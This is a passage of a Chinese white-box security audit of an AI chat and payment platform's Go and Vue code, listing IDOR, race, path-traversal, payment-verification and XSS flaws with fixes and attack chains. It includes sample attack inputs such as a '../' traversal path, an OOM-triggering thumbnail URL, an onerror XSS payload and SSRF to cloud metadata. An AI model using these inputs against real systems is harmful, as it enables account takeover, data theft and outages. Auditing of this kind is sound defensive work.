修复:detail/history/update 一律加入 user_id = 当前登录用户 条件;chat_id 改为服务端用 crypto/rand 生成。
M-02 MJ 任务删除/发布按查询参数鉴权(IDOR)🟡
api/handler/mj_handler.go:551-574、:576-588:
userId := h.GetInt(c, "user_id", 0) // 来自 URL 查询参数,而非登录态
h.DB.Where("id = ? AND user_id = ?", id, userId).First(&job)
...
h.DB.Delete(&job) // 删除他人 MJ 任务及其图片
攻击者传入受害者 user_id 即可删除/发布其 MJ 作品。对比 image_handler.go:233-241、suno_handler.go:260-275、video_handler.go:310-331 均正确使用 GetLoginUserId。
修复:改用 h.GetLoginUserId(c)。
M-03 全站几乎无速率限制 🟡
grep 全量确认 RateLimitEvery 仅用于 api/handler/prompt_handler.go:49。登录、注册、找回密码、短信/邮件发送、兑换码核验等敏感接口均无限流,配合 H-03/H-07 可放大为账号接管与资源滥用。
修复:对认证类接口按账号+IP 做滑动窗口限流与失败锁定;短信/邮件按接收者与 IP 双重限流;在 Nginx 层再加一道 limit_req。
M-04 Gin 默认信任所有代理,X-Forwarded-For 可伪造 🟡
api/core/app_server.go:41 使用 gin.Default(),全仓库未调用 SetTrustedProxies。Gin 1.9.x 默认信任所有代理,c.ClientIP()(用于 rate_limit.go:23 的限流键与登录 IP 记录)可被 X-Forwarded-For 伪造,从而绕过 IP 限流、污染审计日志。
修复:启动时 engine.SetTrustedProxies([]string{"<真实反代IP/CIDR>"})。
M-05 支付网关 TLS 关闭校验 + 商户密钥经 URL 明文传输 🟡
api/service/payment/epay_service.go:112-117,146,151-154:
tr := &http.Transport{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: true } } // 取消 SSL 证书验证
...
params.Set("key", s.config.PrivateKey)
apiURL := fmt.Sprintf("%s/api.php?%s", s.config.ApiURL, params.Encode())
易支付的 Pay/Query 均不校验 TLS 证书,且商户密钥放在 GET 查询串里(易被代理/日志记录)。payment_handler.go:430-465(EPayNotify)信任该 Query 结果来标记订单已支付:网络/DNS/CA 层攻击者可对任意 out_trade_no 返回 {"code":1,"status":"1"},使 paySuccess 为未支付订单加算力(:450-457)。
修复:移除 InsecureSkipVerify;改用带签名的查询接口,密钥不要出现在 URL;校验查询响应签名。
M-06 算力增减的并发控制不足 🟡
api/service/user_service.go:55-71 的 DecreasePower 是「先查余额再扣减」的 TOCTOU 模式,且只用进程内 sync.Mutex:
tx.Where("id", userId).First(&user)
if user.Power < power { tx.Rollback(); return fmt.Errorf("用户算力不足") }
tx.Model(&model.User{}).Where("id", userId).UpdateColumn("power", gorm.Expr("power - ?", power))
多副本部署或跨进程并发时可把余额扣成负数。RedeemHandler(redeem_handler.go:27,56)与 paySuccess(payment_handler.go:43,346)的互斥也仅进程内有效。
修复:UPDATE users SET power = power - ? WHERE id = ? AND power >= ? 并检查 RowsAffected==1;幂等键唯一约束。
M-07 缩略图中间件路径穿越 + 内存 DoS 🟡
api/core/middleware/thumb.go:21-36:
filePath := strings.TrimLeft(c.Request.URL.Path, "/") // 未做 Clean/前缀校验,可含 ../
file, err := os.Open(filePath)
...
with := utils.IntValue(size[3], 0) // 宽高来自 URL,无上下限
height := utils.IntValue(size[5], 0)
newImg = resize.Resize(uint(with), uint(height), img, resize.Lanczos3)
- 该中间件是全局的(
app_server.go:47),在静态处理器之前执行,因此绕过了http.Dir的路径清洗;/static/../../../../etc/...?imageView2/...可读取静态目录之外的图片文件(受图片解码限制)。 IntValue无边界(utils/common.go:160-166),w/-1经uint(-1)变成极大值,resize会尝试分配数 GB 内存 → 匿名 OOM(不可被 recover 捕获);w/1000000000同理。
修复:用 c.Param("filepath") 配合 http.Dir/http.FileServer;filepath.Clean + filepath.Rel 校验结果在 StaticDir 内;宽高/质量做上下限;缩略图接口加鉴权或签名。
M-08 PPT 本地文件映射路径穿越 🟡
api/service/ppt/export.go:123-138:
if bu != "" && strings.HasPrefix(raw, bu) {
suffix := strings.TrimPrefix(strings.TrimPrefix(raw, bu), "/")
return filepath.Join(bp, suffix), true // suffix 可含 ../,Join 会规整并逃出 bp
}
reference_image.go:24-25 会读取该路径并转 base64 送给第三方图像服务,export.go:227-237 会读取并嵌入导出文件。当前 raw 来自服务端生成的图片 URL(ppt_service.go:491、slide_edit.go:67,166),尚未发现用户可直接控制,因此列为中危「潜在任意文件读取」;一旦后续有接口允许用户写入幻灯片图片地址,即升级为严重。
修复:filepath.Clean 后用 filepath.Rel(bp, joined) 校验结果不以 .. 开头;拒绝绝对路径与 url.PathUnescape 后的 ..。
M-09 ?token= 直接写入登录态 🟡
web/src/views/Login.vue:59,84-88:
const token = ref(router.currentRoute.value.query.token || '')
...
if (token.value) { setUserToken(token.value); handleRegisterSuccess() }
任意 /login?token=<JWT> 会把该 token 写入本地会话(会话固定/登录 CSRF),且 URL 中的 token 会经浏览器历史、Referer、日志泄露。
修复:不使用 URL 传 token;改为一次性、短时效、服务端可校验的授权码,通过 POST 换取会话。
M-10 任意 URL 无沙箱 iframe 与直接跳转 🟡
web/src/views/ExternalPage.vue:9,20 将 ?url= 原样放入 <iframe :src>,无 sandbox、无协议/主机白名单;Member.vue:501 用 window.location.href = res.data.pay_url,菜单 url 也来自服务端。可被用于钓鱼/点击劫持或(若服务端数据被污染)任意跳转。
修复:iframe 加 sandbox 与 referrerpolicy="no-referrer",白名单 https 主机;跳转前校验协议与域名。
M-11 用户上传接口无大小限制 🟡
api/handler/net_handler.go:52-57 的用户上传路径没有任何大小校验:
file, err := h.uploaderManager.GetUploadHandler().PutFile(c, "file")
对比 api/handler/admin/upload_handler.go:51-54 会检查 SysConfig.Base.MaxFileSize(默认 10 MB)。全仓库未使用 http.MaxBytesReader;Gin 的 MaxMultipartMemory 只控制内存缓冲,超出部分仍会落盘再复制到上传目录。任意登录用户可填满数据盘。
修复:所有上传入口用 http.MaxBytesReader 或在解析前校验 MaxFileSize;拒绝时清理半成品文件。
M-12 LocalStorage.Delete 未限定目录,潜在任意文件删除 🟡
api/service/oss/localstorage.go:102-108:
func (s LocalStorage) Delete(fileURL string) error {
if _, err := os.Stat(fileURL); err == nil { return os.Remove(fileURL) }
filePath := strings.Replace(fileURL, s.config.BaseURL, s.config.BasePath, 1)
return os.Remove(filePath)
}
没有把删除限制在 BasePath 内。当前调用方传入的是数据库中的服务端生成值(net_handler.go:148-152、各 admin job handler),尚未发现用户可设置 ObjKey/job URL 的路径,属潜在任意文件删除原语(例如 ../../config.toml)。
修复:filepath.Clean 解析后的路径必须以 filepath.Clean(BasePath) 为前缀,否则拒绝。
M-13 支付宝回调未验签,查询响应也未开启验签 🟡
api/handler/payment_handler.go:404-427 的 AlipayNotify 从不调用 alipayService.TradeVerify(唯一会调用 alipay.VerifySignWithCert 的函数,alipay_service.go:95-107),而是解析表单后用客户端提供的 out_trade_no 重新查询。重新查询本身是权威的,但 AlipayService.UpdateConfig(:46-59)未调用 client.AutoVerifySign(...),gopay v1.5.101 的 alipay Client.autoSign 默认关闭,因此 TradeQuery 的响应也没有签名校验。影响限于 TLS/DNS 中间人(此处未关闭 TLS 校验),故为中危。TradeVerify 成为死代码,说明校验本应存在但被漏掉。
修复:回调改用 TradeVerify 验签;UpdateConfig 中调用 client.AutoVerifySign(alipayPublicKeyCert)。
M-14 金额使用 float64 且分转换截断 🟡
api/store/model/product.go:11、api/store/model/order.go:17 的 Price/Amount 为 float64;微信金额 int(amount*100)(payment_handler.go:221)会截断(如 0.29 → 28 分),客户少付而订单仍按全额加算力;易支付用 fmt.Sprintf("%f", amount)(6 位小数,:246,:296)、支付宝用 %.2f(:273),各渠道取整不一致;也没有 price > 0 校验。
修复:金额全链路改为整数分(int64);校验 price > 0 与合理上限。
M-15 下单不校验商品启用状态与价格边界 🟡
api/handler/payment_handler.go:186-206:
err := h.DB.Where("id", data.Pid).First(&product).Error
...
amount := product.Price
任意用户可通过 id 为已下架/禁用的商品下单(未过滤 enabled,对比公开列表 handler/product_handler.go:39)。结合 C-01 的匿名 product/save(可设任意价格/算力),这是最干净的「免费算力」路径。
修复:Where("id = ? AND enabled = ?", data.Pid, true),并校验价格/算力边界。
M-16 兑换码核销与加算力不在同一事务 🟡
api/handler/redeem_handler.go:76-98、api/service/user_service.go:27:
tx := h.DB.Begin()
err := h.userService.IncreasePower(userId, item.Power, ...) // 内部用自己的 s.db.Begin(),不是 tx
...
item.RedeemedAt = time.Now().Unix()
err = tx.Updates(&item).Error
IncreasePower 自带独立事务,tx.Rollback() 无法撤销已加的算力;若 tx.Updates/Commit 失败,则算力已到账而 redeemed_at 仍为 0,同一张卡密可再次兑换。核销也未用 UPDATE ... WHERE redeemed_at = 0 的条件更新,进程内锁在多副本下无效。
修复:先用条件更新抢占卡密(RowsAffected==1),并在同一事务内加算力(把 tx 传入服务)。
5. 低危 / 加固项
| 编号 | 问题 | 位置 | 建议 |
|---|---|---|---|
| L-01 | JWT 无标准 exp/iat,使用自定义 expired;middleware/auth.go:14 引入 v3 而签发用 v5;function_handler.go:84-109 的 checkAuth 不校验 Redis 会话,登出后仍可用 |
api/core/middleware/auth.go、api/handler/user_handler.go:428 |
统一使用 golang-jwt/jwt/v5,签发 exp/iat/sub 并校验 iss/aud;所有鉴权路径都校验 Redis 会话 |
| L-02 | AesEncrypt 用 key[:blockSize] 作为固定 IV 且无 MAC(CBC 可延展),当前无调用方 |
api/utils/crypto.go:24-67 |
删除死代码或改为 AES-GCM + 随机 IV |
| L-03 | 启动时后台向 GeekAPIURL 上报 HostID/设备指纹 |
api/core/app_server.go:67-80 |
如非必要,移除或改为显式开关并告知用户 |
| L-04 | 状态变更使用 GET(/api/chat/remove、/api/admin/order/clear、/api/admin/redeem/remove、/api/user/logout 等) |
多处 | 改为 POST/DELETE |
| L-05 | 雪花算法 workerID=0 且订单号含时间戳,可枚举 |
api/service/snowflake.go:24-56 |
配置 workerID;订单查询加用户过滤(见 L-07) |
| L-06 | NewDefaultConfig 未生成 AdminSession,自动创建配置时管理员 JWT 密钥为空 |
api/core/config.go:24-43 |
同时生成 AdminSession.SecretKey |
| L-07 | /api/order/query?order_no= 未按用户过滤(仅返回状态,影响有限) |
api/handler/order_handler.go:84-101 |
加入 user_id 条件 |
| L-08 | axios 0.27.2(CVE-2023-45857,且全局 withCredentials=true)、md-editor-v3 2.11.3 等偏旧 |
web/package.json、api/go.mod |
升级依赖;补跑 npm audit、govulncheck |
| L-09 | Docker 默认把 MySQL(3307)/Redis(6380)/API(5678)/Web(8080) 映射到宿主机并使用仓库内口令 | docker/docker-compose.yaml:9,11-12,28,31-32 |
端口绑定 127.0.0.1 或仅内网;口令随机化 |
| L-10 | 前端 33 处 target="_blank" 无 rel="noopener";无 CSP;/admin/* 仅前端守卫(router.js:504-508 无鉴权逻辑) |
web/src/** |
补 rel、CSP、HSTS、X-Content-Type-Options;管理端权限必须服务端强制 |
| L-11 | 下载临时文件用 filepath.Join(os.TempDir(), filepath.Base(u.Path)),路径可预测且从不清理;无大小限制 |
api/utils/file.go:88-154 |
改用 os.CreateTemp + defer os.Remove + io.LimitReader |
| L-12 | 每日签到「先查后写」竞态,可并发重复领取;Put 错误被忽略 |
api/handler/user_handler.go:752-775、store/leveldb.go:31-45 |
用原子 Put-if-absent / Redis SETNX,并检查错误 |
| L-13 | 各任务失败退款循环「先加算力再把 power 置 0」,无 refunded 标志与条件更新,可重复退款 |
service/{image,mj,video,suno,jimeng}/*.go |
UPDATE ... SET power=0 WHERE id=? AND power>0 成功后再退款 |
| L-14 | CreateOrder 未写入 Order.ProductId,paySuccess 的销量更新恒为 0,销量统计失效 |
payment_handler.go:325-335、:394-395 |
下单时写入 ProductId |
| L-15 | power_logs.amount 为 smallint,超过 32767 的算力授予会写日志失败并回滚;SyncOrders 硬编码 5 分钟超时与配置项不一致,超时后不再轮询,可能漏发已支付订单 |
store/model/power_log.go:14、payment_handler.go:117 |
日志字段改 int;超时读取 SysConfig.Base.OrderPayTimeout |
6. 攻击链汇总
链路 A:匿名 → 免费算力 → 系统破坏(无需任何凭据)
C-02 读取 payment/oss/jimeng 密钥
C-01 改商品价格/算力 + C-05 导出兑换码(或直接把 redeemed_at 重置)
→ 低价购买或直接兑换获得海量算力
C-01 篡改菜单 / 覆盖即梦配置 → 挂马、钓鱼、服务不可用
链路 B:普通用户 → 管理员接管(最危险)
注册普通账号(H-07 无频控)
→ 提交含 <img onerror=...> 的聊天消息/歌词(或上传 .html 到 /static,H-05)
→ 管理员后台查看该记录(C-06,html:true + v-html)
→ 脚本读取 localStorage 中的 Admin-Authorization(H-04)
→ 攻击者以管理员身份调用 /api/admin/*,完成接管
链路 C:账号接管
H-03 验证码永不过期 + 无尝试限制 → 爆破 /api/user/resetPass → 重置任意账号密码
或 C-07 伪造 openid → 直接登录为任意微信用户
链路 D:内网渗透 / 云凭证窃取
H-01 /api/download?url= 或 H-02 聊天文件解析 或 H-09 即梦/视频参数
→ 访问 169.254.169.254 / 内网服务 / Redis / MySQL
→ 结合 C-02 已泄露的云存储 AK/SK → 横向移动
链路 E:资金/算力损失
H-10 开高价订单只付 1 分钱 → 回调不校验金额 → 全额加算力
H-11 多副本/状态更新失败 → 同一订单重复加算力
M-05 中间人篡改易支付 Query 结果 → 未支付订单被标记成功
M-16 兑换码核销与加算力非原子 → 同一卡密重复兑换
链路 F:算力盗刷 / 越权操作
C-04 聊天接口传 user_id=<受害者> → 消耗其算力、写入其会话
H-06 /api/function/image3 同理
M-02 MJ 接口传 user_id → 删除/发布他人作品
M-01 公开 chat_id → 读取他人对话
链路 G:匿名 DoS
M-07 /static/x.png?imageView2/4/w/-1/h/-1/q/75 → 单请求触发 OOM
M-11 大文件上传 → 磁盘耗尽
7. 修复优先级建议
P0(立即,公开发布前必须修复)
- C-01 为全部
/api/admin/*补齐服务端鉴权(建议全局中间件 + 白名单),并加 401 回归测试。 - C-02 收敛
/api/config/get为字段白名单,敏感配置仅管理端可读;轮换所有已泄露密钥。 - C-03 移除默认口令与仓库内密钥,首次启动强制改密,安装脚本生成随机密钥。
- C-04 / H-06 所有涉及用户的接口改用鉴权上下文用户 ID,忽略客户端
user_id。 - C-05 兑换码接口补鉴权、导出留痕、
Set改字段白名单。 - C-06 引入 DOMPurify 消毒全部
v-html输出(优先管理后台与用户侧聊天渲染)。 - C-07 微信登录回调改为服务端验签。
- H-10 / H-11 支付入账改为「校验金额 + 条件更新抢占订单 + 单事务加算力」的幂等流程。
P1(尽快)
9. H-01/H-02/H-09 统一封装出网客户端:协议白名单、私网/元数据 IP 拦截、逐跳重定向校验、超时与大小限制。
10. H-03 验证码加 TTL、频控、失败计数、人机验证;改用 crypto/rand。
11. H-04 token 迁移到 HttpOnly Cookie(配套 CSRF)。
12. H-05 上传扩展名白名单 + 独立域名/nosniff/attachment。
13. H-07 邀请码增加启用/上限/禁自邀;注册加人机验证与频控。
14. H-08 口令改 bcrypt/argon2id。
P2(计划内)
15. M-01/M-02/L-07 补齐所有资源归属校验。
16. M-03/M-04 全站限流 + 正确配置受信代理。
17. M-05/M-13 恢复支付网关 TLS 校验并开启验签。
18. M-06/M-16 算力与卡密改为数据库原子操作 + 幂等约束。
19. M-07/M-08/M-12 路径归一化、边界校验、删除范围限制。
20. M-09/M-10 移除 URL token,iframe 加沙箱与白名单。
21. M-11 所有上传入口加大小限制。
22. M-14/M-15 金额改整数分、下单校验商品状态与价格。
P3(加固)
23. L-01~L-15:JWT 规范、CSP/HSTS、依赖升级、Docker 端口收敛、GET→POST、签到/退款幂等、临时文件清理等。
8. 审计覆盖与「检查后确认安全」项
为避免误报,以下为已核对、未发现问题的点:
通用 / 注入
- SQL 注入:全仓库查询均通过 GORM 参数化;未发现将用户输入拼接进 SQL 的
Raw/Exec(service/migration_service.go的Exec为静态 DDL,唯一Sprintf的idxName来自数据库元数据)。 - GORM 单参数写法:
Where("user_id", userId)、Where("id", userId)这类「字符串 + 单参数」是 GORM 的列等值简写(BuildCondition中len(args)==1分支),等价于user_id = ?,不是注入,也不是「条件失效」。 - 命令注入:
api/中无os/exec/exec.Command,无 ffmpeg/ffprobe 调用;utils/media_duration.go为纯 Go 解析。 - 压缩包解压 / zip-slip:无
archive/zip、archive/tar或解压逻辑。 - 模板注入 / SSTI:无服务端模板渲染用户输入。
- JWT 算法混淆:鉴权中间件显式限定
*jwt.SigningMethodHMAC,可防alg=none与 RS/HS 混淆。
文件与存储
- 上传路径穿越:
GenUploadPath的文件名是<UnixMicro><ext>,用户文件名仅用于取扩展名,不进入路径;filepath.Base也阻断了 URL 中的../。 - 静态目录本身:Gin
Static→http.Dir/http.FileServer会清洗路径并阻止..,且未开启目录列表;穿越仅存在于 ThumbMiddleware(M-07)。 - Tika 输出:
utils/file.go:55-65使用bluemonday白名单清理;Tika 主机来自服务端配置,非请求输入。 - TTS 输出路径:
<StaticDir>/audio/<sha256(modelId/text)>.mp3,哈希派生,无穿越。 - 文件下载
ext参数:PutUrlFile的调用方均传硬编码扩展名(.png/.mp4/.mp3),未发现经该参数穿越。 - 上传接口鉴权:用户上传与管理员上传均有对应鉴权中间件(问题在于类型白名单与大小限制,而非鉴权)。
支付 / 订单
- 兑换码熵:
utils.GenRedeemCode(32)= 16 随机字节 → 128 bit,且code有唯一索引,不可暴力枚举;一次性校验存在(问题在事务与鉴权,见 C-05/M-16)。 - 服务端定价:
CreateOrder的金额与Remark.Power均来自数据库商品,客户端只提供pid,不存在直接改价。 - 易支付回调验签:
payment_handler.go:443-448校验了 MD5 签名后才查询订单(问题在 TLS 与密钥传输,见 M-05)。 - 微信回调:使用
V3ParseNotify+DecryptPayCipherText(ApiV3Key)(AES-GCM 认证密文),且wxpay_service.go:51开启了 API 响应自动验签;是否额外调用平台证书验签需按 gopay 版本人工确认(LOW-12 类)。 - 支付宝回调:虽未验签,但会服务端重新查询支付宝(问题在于查询响应也未验签,见 M-13)。
- 无「沙箱/测试分支」直接加算力:
SandBox仅切换网关地址,查询仍权威;handler/test_handler.go只回显数据;GEEKAI_DEBUG仅打开 SDK 日志。 - 用户订单列表已按
user_id过滤(order_handler.go:48);IDOR 仅在Query。
前端
eval/new Function:web/src/**未发现(仅 vendoredassets/iconfont/iconfont.js使用document.write,数据为静态内置)。- 无第三方埋点:未发现 gtag/百度统计/Sentry 等外发通道;
public/无密钥。 - CSRF:当前鉴权基于自定义请求头而非 Cookie,经典 CSRF 风险有限;但前端设置了
withCredentials=true,若后端未来启用 Cookie 会话则需补 CSRF 令牌(见 H-04)。 window.opener/ postMessage:无跨窗口message监听;仅同源 Worker 的MessagePort。
本次未执行 / 待人工确认:
- 动态渗透测试与真实环境验证;
govulncheck、npm audit、SAST 工具扫描;- gopay 版本中微信平台证书验签的确切调用(代码仅调用了解密);
- 第三方服务(微信、支付网关、火山引擎等)控制台侧的配置核查。
9. 附:关键文件索引
| 主题 | 文件 |
|---|---|
| 鉴权中间件 | api/core/middleware/auth.go |
| 路由/静态服务/遥测 | api/core/app_server.go |
| 用户登录/注册/重置/微信登录/签到 | api/handler/user_handler.go |
| 短信/邮件验证码 | api/handler/sms_handler.go |
| 聊天主流程 | api/handler/chat_handler.go、api/handler/chat_item_handler.go |
| 配置读取 | api/handler/config_handler.go |
| 上传/下载/SSRF | api/handler/net_handler.go、api/utils/upload.go、api/utils/file.go、api/utils/media_duration.go |
| 管理后台(缺鉴权) | api/handler/admin/{dashboard,order,product,redeem,menu,jimeng,power_log}_handler.go |
| 支付/订单/兑换 | api/handler/payment_handler.go、api/handler/order_handler.go、api/handler/redeem_handler.go、api/service/payment/*.go |
| 算力服务 | api/service/user_service.go |
| 即梦/视频 SSRF | api/handler/jimeng_handler.go、api/service/video/adapters/sora_adapter.go |
| 缩略图/PPT 路径 | api/core/middleware/thumb.go、api/service/ppt/export.go |
| 默认配置/密钥 | api/config.sample.toml、docker/conf/config.toml、docker/docker-compose.yaml、database/*.sql、web/.env.development |
| 前端会话/XSS | web/src/store/session.js、web/src/utils/libs.js、web/src/components/ChatReply.vue、web/src/views/admin/records/{ChatList,Suno}.vue |
本报告基于 2026-09-09 的代码快照进行白盒静态审计(HEAD 3e66c5ac),未做运行时验证。修复后建议对 P0/P1 项做针对性回归测试与动态验证。